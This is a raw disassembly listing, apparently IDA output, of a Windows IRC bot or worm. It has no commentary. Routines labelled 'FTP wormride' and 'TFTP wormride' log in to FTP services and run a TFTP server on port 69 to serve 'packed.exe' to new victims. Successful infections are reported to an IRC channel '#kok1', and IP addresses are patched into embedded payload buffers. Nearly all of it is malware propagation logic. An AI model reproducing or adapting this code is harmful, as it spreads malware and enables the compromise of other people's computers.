		add	esp, 14h
		push	3E8h
		call	dword_41709C	; Sleep
		jmp	short loc_4119BA
; ---------------------------------------------------------------------------


loc_411967:				; CODE XREF: cAddress:004118DFj
		jmp	short loc_4119BA
; ---------------------------------------------------------------------------


loc_411969:				; CODE XREF: cAddress:00411886j
		mov	eax, [ebp-524h]
		sub	eax, dword_41C514
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_4119BA
		push	offset a221	; "221 -\r\n"
		push	200h
		lea	eax, [ebp-518h]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp-518h]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp-518h]
		push	eax
		push	dword ptr [ebp-10Ch]
		call	sub_4053BF
		add	esp, 0Ch


loc_4119BA:				; CODE XREF: cAddress:004111E0j
					; cAddress:loc_411218j	...
		push	offset a231	; "231 -\r\n"
		push	200h
		lea	eax, [ebp-518h]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp-518h]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp-518h]
		push	eax
		push	dword ptr [ebp-10Ch]
		call	sub_4053BF
		add	esp, 0Ch
		push	dword ptr [ebp-10Ch]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		pop	edi
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411A09	proc near		; CODE XREF: sub_411BBC+90p

var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		push	32h
		push	[ebp+arg_0]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_411A29
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------


loc_411A29:				; CODE XREF: sub_411A09+17j
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_204], eax
		cmp	[ebp+var_204], 0
		jz	short loc_411A58
		cmp	[ebp+var_204], 0FFFFFFFFh
		jnz	short loc_411A5F


loc_411A58:				; CODE XREF: sub_411A09+44j
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------


loc_411A5F:				; CODE XREF: sub_411A09+4Dj
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407BF5
		pop	ecx
		push	offset a220_0	; "220"
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_411A8A
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------


loc_411A8A:				; CODE XREF: sub_411A09+78j
		push	offset aUser1	; "USER	1\r\n"
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B5E	; sprintf
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		push	32h
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_204], eax
		cmp	[ebp+var_204], 0
		jz	short loc_411AEE
		cmp	[ebp+var_204], 0FFFFFFFFh
		jnz	short loc_411AF5


loc_411AEE:				; CODE XREF: sub_411A09+DAj
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------


loc_411AF5:				; CODE XREF: sub_411A09+E3j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407BF5
		pop	ecx
		push	offset a331_0	; "331"
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_411B20
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------


loc_411B20:				; CODE XREF: sub_411A09+10Ej
		call	sub_410422
		push	eax
		push	offset aPass1	; "PASS	1\r\n"
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		push	32h
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_204], eax
		cmp	[ebp+var_204], 0
		jz	short loc_411B8B
		cmp	[ebp+var_204], 0FFFFFFFFh
		jnz	short loc_411B8F


loc_411B8B:				; CODE XREF: sub_411A09+177j
		xor	eax, eax
		jmp	short locret_411BBA
; ---------------------------------------------------------------------------


loc_411B8F:				; CODE XREF: sub_411A09+180j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407BF5
		pop	ecx
		push	offset a230_0	; "230"
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_411BB7
		xor	eax, eax
		jmp	short locret_411BBA
; ---------------------------------------------------------------------------


loc_411BB7:				; CODE XREF: sub_411A09+1A8j
		push	1
		pop	eax

locret_411BBA:				; CODE XREF: sub_411A09+1Bj
					; sub_411A09+51j ...
		leave
		retn
sub_411A09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411BBC	proc near		; CODE XREF: cAddress:00411D5Fp

var_1C8		= dword	ptr -1C8h
var_1C4		= dword	ptr -1C4h
var_1C0		= dword	ptr -1C0h
var_1BC		= byte ptr -1BCh
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1C8h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		mov	[ebp+var_4], 1
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		mov	[ebp+var_8], 1
		jmp	short loc_411C04
; ---------------------------------------------------------------------------


loc_411BFD:				; CODE XREF: sub_411BBC:loc_411CABj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_411C04:				; CODE XREF: sub_411BBC+3Fj
		cmp	[ebp+var_8], 0FFFFh
		jnb	loc_411CB0
		push	0Ah
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_8]
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	0FFFFFFFFh
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		push	offset a127_0_0_1 ; "127.0.0.1"
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_1C4], eax
		cmp	[ebp+var_1C4], 0
		jz	short loc_411CAB
		push	[ebp+var_1C4]
		call	sub_411A09
		pop	ecx
		test	eax, eax
		jz	short loc_411C9F
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_411C76
		push	2
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_10]
		call	sub_404871
		add	esp, 0Ch
		jmp	short loc_411C9F
; ---------------------------------------------------------------------------


loc_411C76:				; CODE XREF: sub_411BBC+A5j
		push	2
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_411C9F
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_411D55
; ---------------------------------------------------------------------------


loc_411C9F:				; CODE XREF: sub_411BBC+98j
					; sub_411BBC+B8j ...
		push	[ebp+var_1C4]
		call	sub_4053B1
		pop	ecx


loc_411CAB:				; CODE XREF: sub_411BBC+88j
		jmp	loc_411BFD
; ---------------------------------------------------------------------------


loc_411CB0:				; CODE XREF: sub_411BBC+4Fj
		cmp	[ebp+var_10], 0
		jnz	short loc_411CC9
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_411D55
; ---------------------------------------------------------------------------


loc_411CC9:				; CODE XREF: sub_411BBC+F8j
		mov	eax, [ebp+var_1C0]
		push	dword ptr [eax]
		push	offset unk_41C6DC
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_411CE5:				; CODE XREF: sub_411BBC:loc_411D3Cj
		push	3E8h
		push	[ebp+var_10]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C8], eax
		cmp	[ebp+var_1C8], 0
		jz	short loc_411D2E
		cmp	[ebp+var_1C8], 0FFFFFFFFh
		jz	short loc_411D2E
		push	[ebp+var_1C8]
		push	offset loc_41113B
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_411D2E
		push	[ebp+var_1C8]
		call	sub_4053B1
		pop	ecx


loc_411D2E:				; CODE XREF: sub_411BBC+145j
					; sub_411BBC+14Ej ...
		mov	eax, [ebp+var_1C0]
		cmp	dword ptr [eax+4], 0
		jz	short loc_411D3C
		jmp	short loc_411D3E
; ---------------------------------------------------------------------------


loc_411D3C:				; CODE XREF: sub_411BBC+17Cj
		jmp	short loc_411CE5
; ---------------------------------------------------------------------------


loc_411D3E:				; CODE XREF: sub_411BBC+17Ej
		push	[ebp+var_10]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_411D55:				; CODE XREF: sub_411BBC+DEj
					; sub_411BBC+108j
		leave
		retn	4
sub_411BBC	endp

; ---------------------------------------------------------------------------


loc_411D59:				; DATA XREF: sub_411D68+4Eo
		push	ebp
		mov	ebp, esp
		push	dword ptr [ebp+8]
		call	sub_411BBC
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411D68	proc near		; CODE XREF: sub_40A9CF+70Fp
					; sub_40A9CF+735p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_4042FB
		test	eax, eax
		jz	short loc_411D77
		jmp	short locret_411DC3
; ---------------------------------------------------------------------------


loc_411D77:				; CODE XREF: sub_411D68+Bj
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_411D8D
		jmp	short locret_411DC3
; ---------------------------------------------------------------------------


loc_411D8D:				; CODE XREF: sub_411D68+21j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aFtpWormrideThr ; "FTP wormride thread"
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	offset loc_411D59
		call	sub_4095A4
		add	esp, 10h

locret_411DC3:				; CODE XREF: sub_411D68+Dj
					; sub_411D68+23j
		leave
		retn
sub_411D68	endp

; ---------------------------------------------------------------------------


loc_411DC5:				; DATA XREF: sub_4123F6+43o
		push	ebp
		mov	ebp, esp
		sub	esp, 0DACh
		push	edi
		push	1A7h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-358h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx
		push	0
		push	2
		push	2
		call	dword_417218	; socket
		mov	[ebp-108h], eax
		cmp	dword ptr [ebp-108h], 0FFFFFFFFh
		jnz	short loc_411E1D
		push	dword ptr [ebp-358h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_4123F1
; ---------------------------------------------------------------------------


loc_411E1D:				; CODE XREF: cAddress:00411E08j
		lea	eax, [ebp-104h]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_40449C
		pop	ecx
		pop	ecx
		push	10h
		push	0
		lea	eax, [ebp-1B0h]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	word ptr [ebp-1B0h], 2
		push	45h
		call	dword_417238	; htons
		mov	[ebp-1AEh], ax
		lea	eax, [ebp-104h]
		push	eax
		call	dword_417244	; inet_addr
		mov	[ebp-1ACh], eax
		mov	dword ptr [ebp-1A0h], 1
		push	4
		lea	eax, [ebp-1A0h]
		push	eax
		push	4
		push	0FFFFh
		push	dword ptr [ebp-108h]
		call	dword_417204	; setsockopt
		push	10h
		lea	eax, [ebp-1B0h]
		push	eax
		push	dword ptr [ebp-108h]
		call	dword_417208	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411EC2
		push	dword ptr [ebp-358h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_4123F1
; ---------------------------------------------------------------------------


loc_411EC2:				; CODE XREF: cAddress:00411EADj
		push	offset aRb	; "rb"
		push	offset aPacked_exe ; "packed.exe"
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp-10Ch], eax
		cmp	dword ptr [ebp-10Ch], 0
		jnz	short loc_411F01
		push	dword ptr [ebp-108h]
		call	dword_417230	; closesocket
		push	dword ptr [ebp-358h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_4123F1
; ---------------------------------------------------------------------------


loc_411F01:				; CODE XREF: cAddress:00411EE0j
		mov	eax, [ebp-358h]
		push	dword ptr [eax]
		push	offset unk_41C788
		lea	eax, [ebp-354h]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	2
		push	0
		push	dword ptr [ebp-10Ch]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	dword ptr [ebp-10Ch]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp-4], eax
		push	0
		push	0
		push	dword ptr [ebp-10Ch]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	80h
		push	0
		lea	eax, [ebp-19Ch]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch


loc_411F66:				; CODE XREF: cAddress:loc_412084j
					; cAddress:loc_4123C6j
		mov	dword ptr [ebp-0B64h], 1
		and	dword ptr [ebp-0B60h], 0
		and	dword ptr [ebp-0B5Ch], 0


loc_411F7E:				; CODE XREF: cAddress:00411FF9j
		and	dword ptr [ebp-0B68h], 0
		jmp	short loc_411F94
; ---------------------------------------------------------------------------


loc_411F87:				; CODE XREF: cAddress:loc_411FB9j
		mov	eax, [ebp-0B68h]
		inc	eax
		mov	[ebp-0B68h], eax


loc_411F94:				; CODE XREF: cAddress:00411F85j
		mov	eax, [ebp-0B68h]
		cmp	eax, [ebp-0B5Ch]
		jnb	short loc_411FBB
		mov	eax, [ebp-0B68h]
		mov	eax, [ebp+eax*4-0B58h]
		cmp	eax, [ebp-108h]
		jnz	short loc_411FB9
		jmp	short loc_411FBB
; ---------------------------------------------------------------------------


loc_411FB9:				; CODE XREF: cAddress:00411FB5j
		jmp	short loc_411F87
; ---------------------------------------------------------------------------


loc_411FBB:				; CODE XREF: cAddress:00411FA0j
					; cAddress:00411FB7j
		mov	eax, [ebp-0B68h]
		cmp	eax, [ebp-0B5Ch]
		jnz	short loc_411FF5
		cmp	dword ptr [ebp-0B5Ch], 200h
		jnb	short loc_411FF5
		mov	eax, [ebp-0B68h]
		mov	ecx, [ebp-108h]
		mov	[ebp+eax*4-0B58h], ecx
		mov	eax, [ebp-0B5Ch]
		inc	eax
		mov	[ebp-0B5Ch], eax


loc_411FF5:				; CODE XREF: cAddress:00411FC7j
					; cAddress:00411FD3j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_411F7E
		lea	eax, [ebp-0B64h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp-0B5Ch]
		push	eax
		push	0
		call	dword_41722C	; select
		test	eax, eax
		jle	loc_4123B8
		mov	dword ptr [ebp-0D84h], 10h
		mov	al, byte_41DE00
		mov	[ebp-0D70h], al
		mov	ecx, 80h
		xor	eax, eax
		lea	edi, [ebp-0D6Fh]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-0D84h]
		push	eax
		lea	eax, [ebp-0D80h]
		push	eax
		push	0
		push	80h
		lea	eax, [ebp-19Ch]
		push	eax
		push	dword ptr [ebp-108h]
		call	dword_417258	; recvfrom
		mov	[ebp-0B6Ch], eax
		cmp	dword ptr [ebp-0B6Ch], 0
		jz	short loc_412084
		cmp	dword ptr [ebp-0B6Ch], 0FFFFFFFFh
		jnz	short loc_412089


loc_412084:				; CODE XREF: cAddress:00412079j
		jmp	loc_411F66
; ---------------------------------------------------------------------------


loc_412089:				; CODE XREF: cAddress:00412082j
		movsx	eax, byte ptr [ebp-19Ch]
		test	eax, eax
		jnz	loc_4121C0
		movsx	eax, byte ptr [ebp-19Bh]
		cmp	eax, 1
		jnz	loc_4121C0
		lea	eax, [ebp-19Ch]
		mov	[ebp-0D88h], eax
		lea	eax, [ebp-19Ch]
		mov	[ebp-0D8Ch], eax
		mov	eax, [ebp-0D88h]
		inc	eax
		inc	eax
		mov	[ebp-0D88h], eax
		mov	eax, [ebp-0D8Ch]
		inc	eax
		inc	eax
		mov	[ebp-0D8Ch], eax
		push	dword ptr [ebp-0D8Ch]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp-0D8Ch]
		lea	eax, [ecx+eax+1]
		mov	[ebp-0D8Ch], eax
		push	offset aOctet	; "octet"
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		push	dword ptr [ebp-0D8Ch]
		push	offset aOctet	; "octet"
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41213F
		push	dword ptr [ebp-0D84h]
		lea	eax, [ebp-0D80h]
		push	eax
		push	0
		push	13h
		push	offset dword_41C76C
		push	dword ptr [ebp-108h]
		call	dword_417250	; sendto
		jmp	short loc_4121BB
; ---------------------------------------------------------------------------


loc_41213F:				; CODE XREF: cAddress:00412119j
		push	0
		push	0
		push	dword ptr [ebp-10Ch]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		and	byte ptr [ebp-0D70h], 0
		mov	byte ptr [ebp-0D6Fh], 3
		and	byte ptr [ebp-0D6Eh], 0
		mov	byte ptr [ebp-0D6Dh], 1
		push	dword ptr [ebp-10Ch]
		push	200h
		push	1
		lea	eax, [ebp-0D6Ch]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp-0D90h], eax
		push	dword ptr [ebp-0D84h]
		lea	eax, [ebp-0D80h]
		push	eax
		push	0
		mov	eax, [ebp-0D90h]
		add	eax, 4
		push	eax
		lea	eax, [ebp-0D70h]
		push	eax
		push	dword ptr [ebp-108h]
		call	dword_417250	; sendto


loc_4121BB:				; CODE XREF: cAddress:0041213Dj
		jmp	loc_4123B8
; ---------------------------------------------------------------------------


loc_4121C0:				; CODE XREF: cAddress:00412092j
					; cAddress:004120A2j
		movsx	eax, byte ptr [ebp-19Ch]
		test	eax, eax
		jnz	loc_412396
		movsx	eax, byte ptr [ebp-19Bh]
		cmp	eax, 4
		jnz	loc_412396
		mov	al, [ebp-19Ah]
		mov	[ebp-0DA0h], al
		mov	al, [ebp-199h]
		mov	[ebp-0D98h], al
		and	byte ptr [ebp-0D70h], 0
		mov	byte ptr [ebp-0D6Fh], 3
		movzx	eax, byte ptr [ebp-0D98h]
		cmp	eax, 0FFh
		jnz	short loc_412242
		mov	al, [ebp-0DA0h]
		add	al, 1
		mov	[ebp-0DA0h], al
		mov	al, [ebp-0DA0h]
		mov	[ebp-0D6Eh], al
		and	byte ptr [ebp-0D98h], 0
		mov	al, [ebp-0D98h]
		mov	[ebp-0D6Dh], al
		jmp	short loc_412268
; ---------------------------------------------------------------------------


loc_412242:				; CODE XREF: cAddress:00412211j
		mov	al, [ebp-0DA0h]
		mov	[ebp-0D6Eh], al
		mov	al, [ebp-0D98h]
		add	al, 1
		mov	[ebp-0D98h], al
		mov	al, [ebp-0D98h]
		mov	[ebp-0D6Dh], al


loc_412268:				; CODE XREF: cAddress:00412240j
		movzx	eax, byte ptr [ebp-0DA0h]
		shl	eax, 8
		movzx	ecx, byte ptr [ebp-0D98h]
		lea	eax, [eax+ecx-1]
		mov	[ebp-0D9Ch], eax
		push	0
		mov	eax, [ebp-0D9Ch]
		shl	eax, 9
		push	eax
		push	dword ptr [ebp-10Ch]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	dword ptr [ebp-10Ch]
		push	200h
		push	1
		lea	eax, [ebp-0D6Ch]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp-0D94h], eax
		push	dword ptr [ebp-0D84h]
		lea	eax, [ebp-0D80h]
		push	eax
		push	0
		mov	eax, [ebp-0D94h]
		add	eax, 4
		push	eax
		lea	eax, [ebp-0D70h]
		push	eax
		push	dword ptr [ebp-108h]
		call	dword_417250	; sendto
		cmp	dword ptr [ebp-0D94h], 0
		jnz	loc_412394
		mov	eax, [ebp-0D9Ch]
		shl	eax, 9
		cmp	eax, [ebp-4]
		jb	loc_412394
		mov	eax, [ebp-0D7Ch]
		mov	[ebp-0DA8h], eax
		push	dword ptr [ebp-0DA8h]
		push	offset dword_41EAE0
		call	sub_409C9D
		pop	ecx
		pop	ecx
		mov	[ebp-0DA4h], eax
		mov	eax, [ebp-0DA4h]
		cmp	eax, [ebp-0DA8h]
		jz	short loc_412394
		push	1
		push	offset dword_41EAE4
		call	sub_409C88
		pop	ecx
		pop	ecx
		mov	[ebp-0DACh], eax
		push	10h
		push	dword ptr [ebp-0D7Ch]
		call	dword_41721C	; inet_ntoa
		push	eax
		lea	eax, [ebp-11Ch]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp-11Ch]
		push	eax
		mov	eax, [ebp-0DACh]
		inc	eax
		push	eax
		push	offset aWormride ; "wormride"
		push	offset unk_41C730
		push	offset aKok1	; "#kok1"
		call	sub_40D4AB
		add	esp, 14h


loc_412394:				; CODE XREF: cAddress:004122F2j
					; cAddress:00412304j ...
		jmp	short loc_4123B8
; ---------------------------------------------------------------------------


loc_412396:				; CODE XREF: cAddress:004121C9j
					; cAddress:004121D9j
		push	dword ptr [ebp-0D84h]
		lea	eax, [ebp-0D80h]
		push	eax
		push	0
		push	9
		push	offset dword_41C724
		push	dword ptr [ebp-108h]
		call	dword_417250	; sendto


loc_4123B8:				; CODE XREF: cAddress:00412017j
					; cAddress:loc_4121BBj	...
		mov	eax, [ebp-358h]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4123C6
		jmp	short loc_4123CB
; ---------------------------------------------------------------------------


loc_4123C6:				; CODE XREF: cAddress:004123C2j
		jmp	loc_411F66
; ---------------------------------------------------------------------------


loc_4123CB:				; CODE XREF: cAddress:004123C4j
		push	dword ptr [ebp-10Ch]
		call	sub_416B82	; fclose
		pop	ecx
		push	dword ptr [ebp-108h]
		call	dword_417230	; closesocket
		push	dword ptr [ebp-358h]
		call	sub_409763
		pop	ecx
		xor	eax, eax


loc_4123F1:				; CODE XREF: cAddress:00411E18j
					; cAddress:00411EBDj ...
		pop	edi
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4123F6	proc near		; CODE XREF: sub_40A9CF+726p
					; sub_40A9CF+742p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412410
		jmp	short locret_412446
; ---------------------------------------------------------------------------


loc_412410:				; CODE XREF: sub_4123F6+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aTftpWormrideTh ; "TFTP wormride	thread"
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	offset loc_411DC5
		call	sub_4095A4
		add	esp, 10h

locret_412446:				; CODE XREF: sub_4123F6+18j
		leave
		retn
sub_4123F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412448	proc near		; CODE XREF: sub_4125DF+88p
					; sub_4125DF+ADp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_41245A
; ---------------------------------------------------------------------------


loc_412453:				; CODE XREF: sub_412448:loc_41249Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_41245A:				; CODE XREF: sub_412448+9j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_41249C
		and	[ebp+var_8], 0
		jmp	short loc_41246F
; ---------------------------------------------------------------------------


loc_412468:				; CODE XREF: sub_412448:loc_412498j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_41246F:				; CODE XREF: sub_412448+1Ej
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_C]
		jnb	short loc_41249A
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+arg_10]
		xor	eax, ecx
		mov	ecx, [ebp+arg_8]
		add	ecx, [ebp+var_8]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_412498
		push	1
		pop	eax
		jmp	short locret_41249E
; ---------------------------------------------------------------------------


loc_412498:				; CODE XREF: sub_412448+49j
		jmp	short loc_412468
; ---------------------------------------------------------------------------


loc_41249A:				; CODE XREF: sub_412448+2Dj
		jmp	short loc_412453
; ---------------------------------------------------------------------------


loc_41249C:				; CODE XREF: sub_412448+18j
		xor	eax, eax

locret_41249E:				; CODE XREF: sub_412448+4Ej
		leave
		retn
sub_412448	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4124A0	proc near		; CODE XREF: sub_4125DF+36p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		and	[ebp+var_4], 0
		and	[ebp+var_10], 0
		and	[ebp+var_8], 0
		and	[ebp+var_C], 0
		cmp	[ebp+arg_8], 1
		jnz	short loc_41250C
		cmp	[ebp+arg_4], 0B2h
		jnb	short loc_4124CC
		xor	eax, eax
		jmp	locret_4125DD
; ---------------------------------------------------------------------------


loc_4124CC:				; CODE XREF: sub_4124A0+23j
		mov	[ebp+var_C], 0B2h
		push	[ebp+var_C]
		push	offset dword_41C964
		push	[ebp+arg_0]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 8Fh
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, 88h
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		add	eax, 0ACh
		mov	[ebp+var_8], eax
		jmp	loc_41259C
; ---------------------------------------------------------------------------


loc_41250C:				; CODE XREF: sub_4124A0+1Aj
		cmp	[ebp+arg_8], 2
		jnz	short loc_412554
		cmp	[ebp+arg_4], 0C6h
		jnb	short loc_412522
		xor	eax, eax
		jmp	locret_4125DD
; ---------------------------------------------------------------------------


loc_412522:				; CODE XREF: sub_4124A0+79j
		mov	[ebp+var_C], 0C6h
		push	[ebp+var_C]
		push	offset dword_41C89C
		push	[ebp+arg_0]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 89h
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		add	eax, 0C0h
		mov	[ebp+var_8], eax
		jmp	short loc_41259C
; ---------------------------------------------------------------------------


loc_412554:				; CODE XREF: sub_4124A0+70j
		cmp	[ebp+arg_4], 0B2h
		jnb	short loc_412561
		xor	eax, eax
		jmp	short locret_4125DD
; ---------------------------------------------------------------------------


loc_412561:				; CODE XREF: sub_4124A0+BBj
		mov	[ebp+var_C], 0B2h
		push	[ebp+var_C]
		push	offset dword_41C7E8
		push	[ebp+arg_0]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 86h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, 8Dh
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		add	eax, 0ACh
		mov	[ebp+var_8], eax


loc_41259C:				; CODE XREF: sub_4124A0+67j
					; sub_4124A0+B2j
		cmp	[ebp+var_4], 0
		jz	short loc_4125B0
		push	[ebp+arg_C]
		call	dword_417244	; inet_addr
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax


loc_4125B0:				; CODE XREF: sub_4124A0+100j
		cmp	[ebp+var_10], 0
		jz	short loc_4125CC
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
